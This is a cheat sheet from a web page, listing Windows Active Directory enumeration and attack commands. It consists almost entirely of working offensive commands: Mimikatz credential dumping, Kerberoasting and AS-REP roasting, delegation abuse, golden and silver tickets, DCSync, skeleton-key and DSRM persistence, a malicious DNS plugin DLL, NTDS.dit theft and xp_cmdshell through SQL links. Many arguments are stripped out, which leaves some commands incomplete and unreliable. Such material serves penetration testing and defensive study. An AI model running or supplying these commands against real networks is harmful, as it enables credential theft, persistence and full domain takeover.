Last updated
Last updated
A cheat sheet that contains common enumeration and attack methods for Windows Active Directory. This cheat sheet is inspired by the repo.
->
Get Current Domain: Get-NetDomain
Enum Other Domains: Get-NetDomain -Domain <DomainName>
Get Domain SID: Get-DomainSID
Get Domain Policy: Get-DomainPolicy
Will show us the policy configurations of the Domain about system access or kerberos
I have local admin access on a machine -> A Domain Admin has a session on that machine -> I steal his token and impersonate him -> Profit!
Get Current Domain: Get-ADDomain
Enum Other Domains: Get-ADDomain -Identity <Domain>
Get Domain SID: Get-DomainSID
Get Domain Controlers:
Enumerate Domain Users:
Enum Domain Computers:
Enum Domain Trust:
Enum Forest Trust:
.\SharpHound.exe --CollectionMethod All --LDAPUser --LDAPPass --JSONFolder
. .\SharpHound.ps1 Invoke-BloodHound -CollectionMethod All -LDAPUser -LDAPPass -OutputDirectory
Enable-PSRemoting
$sess = New-PSSession -ComputerName Enter-PSSession -ComputerName OR -Sessions
$SecPassword = ConvertTo-SecureString '' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('htb.local\', $SecPassword) Invoke-Command -ComputerName -Credential $Cred -ScriptBlock {whoami}
Invoke-Command -Credential $cred -ComputerName -FilePath c:\FilePath\file.ps1 -Session $sess
Enter-PSSession -Session $sess
$sess = New-PSSession -ComputerName
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}
Invoke-Command -Session $sess -ScriptBlock {$ps}
Invoke-Mimikatz -DumpCreds
Invoke-Mimikatz -DumpCreds -ComputerName
Invoke-Mimikatz -Command '"sekrlusa::"'
Get-NetUser -SPN
Invoke-Kerberoast
Request-SPNTicket
Invoke-Mimikatz -Command '"kerberos::list /export"'
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
python GetUserSPNs.py /: -outputfile
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} Disable Kerberos Preauth: Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose Check if the value changed: Get-DomainUser -PreauthNotRequired -Verbose
Get-ASREPHash -UserName -Verbose
Invoke-ASREPRoast -Verbose
.\Rubeus.exe asreproast /outfile:
python GetNPUsers.py / -usersfile -outputfile
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
Get-DomainUser -Identity | select serviceprincipalname
Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'}
Get-ADUser -Identity -Properties ServicePrincipalName | select ServicePrincipalName
Set-ADUser -Identiny -ServicePrincipalNames @{Add='ops/whatever1'}
vssadmin list shadows
diskshadow list shadows all
mklink /d c:\shadowcopy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
Get-NetComputer -UnConstrained
Invoke-Mimikatz -Command '"sekurlsa::tickets"'
Invoke-UserHunter -ComputerName -Poll -UserName -Delay
-Verbose
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
Invoke-Mimikatz -Command '"kerberos::ptt "'
Get-DomainUser -TrustedToAuth Get-DomainComputer -TrustedToAuth
tgt::ask /user: /domain:<Domain's FQDN> /rc4:
tgs::s4u /tgt: /user:<UserToImpersonate>@ /service:
Invoke-Mimikatz -Command '"kerberos::ptt "'
Rubeus.exe s4u /user: /rc4: /impersonateuser: /msdsspn:"<Service's SPN>" /altservice: /ptt
. .\Powermad.ps1 New-MachineAccount -MachineAccount -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose
. .\PowerView.ps1 $ComputerSid = Get-DomainComputer -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
Rubeus.exe hash /password:'p@ssword!'
Rubeus.exe s4u /user: /rc4: /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt
dir \TargetMachine.wtver.domain\C$
dnscmd /config /serverlevelplugindll \Path\To\Our\Dll\malicious.dll
sc \DNSServer stop dns sc \DNSServer start dns
Script ->{ set metadata c:\metadata.cab set context clientaccessible set context persistent begin backup add volume c: alias mydrive create expose %mydrive% w: }
Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeUtils.dll
Get-SeBackupPrivilege
Set-SeBackupPrivilege
Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\\ntds.dit -Overwrite
reg save HKLM\SYSTEM c:\temp\system.hive
Get-DomainSID -Domain current.domain.local
Get-DomainSID -Domain root.domain.local
Format: RootDomainSID-519
kerberos::golden /user:Administrator /domain:current.domain.local /sid: /krbtgt: /sids: /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi
kerberos::ptt \path\to\ticket\golden.kirbi
dir \dc.root.domain.local\C$
lsadump::dcsync /domain:root.domain.local /all
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <DC'sName>
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /sid:<Domain's SID> /krbtgt: id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:\"'
secretsdump.py /:<Password>@<DC'S IP or FQDN> -just-dc-ntlm
secretsdump.py -no-pass -k /<Username>@<DC'S IP or FQDN> -just-dc-ntlm
Invoke-Mimikatz -Command '"kerberos::golden /domain: /sid: /target: /service: /rc4:<TheSPN's Account NTLM Hash> /user: /ptt"'
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DC's FQDN>
Enter-PSSession -ComputerName -Credential \Administrator
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName <DC's Name>
Enter-PSSession -ComputerName <DC's Name>
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -Verbose
$packages = Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' | select -ExpandProperty 'Security Packages'
$packages += "mimilib"
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' -Value $packages Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name 'Security Packages' -Value $packages
Invoke-Mimikatz -Command '"misc::memssp"'
Invoke-Mimikatz -Command '"lsadump::trust /patch"' Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /sid:
/rc4: /service:krbtgt /target: /ticket:
"'
.\Rubeus.exe asktgs /ticket: /service:"Service's SPN" /ptt
Get-SQLConnectionTestThreaded Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
Get-SQLServerLink -Instace -Verbose
select * from master..sysservers
select from openquery("LinkedDatabase", 'select from master..sysservers')
Get-SQLServerLinkCrawl -Instance -Verbose
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "SPN"
Get-SQLServerLinkCrawl -Instace -Query "exec master..xp_cmdshell 'whoami'"
Rubeus.exe monitor /interval:5 /filteruser:target-dc$
SpoolSample.exe target-dc$.external.forest.local dc.compromised.domain.local
Rubeus.exe ptt /ticket:
lsadump::dcsync /domain:external.forest.local /all
```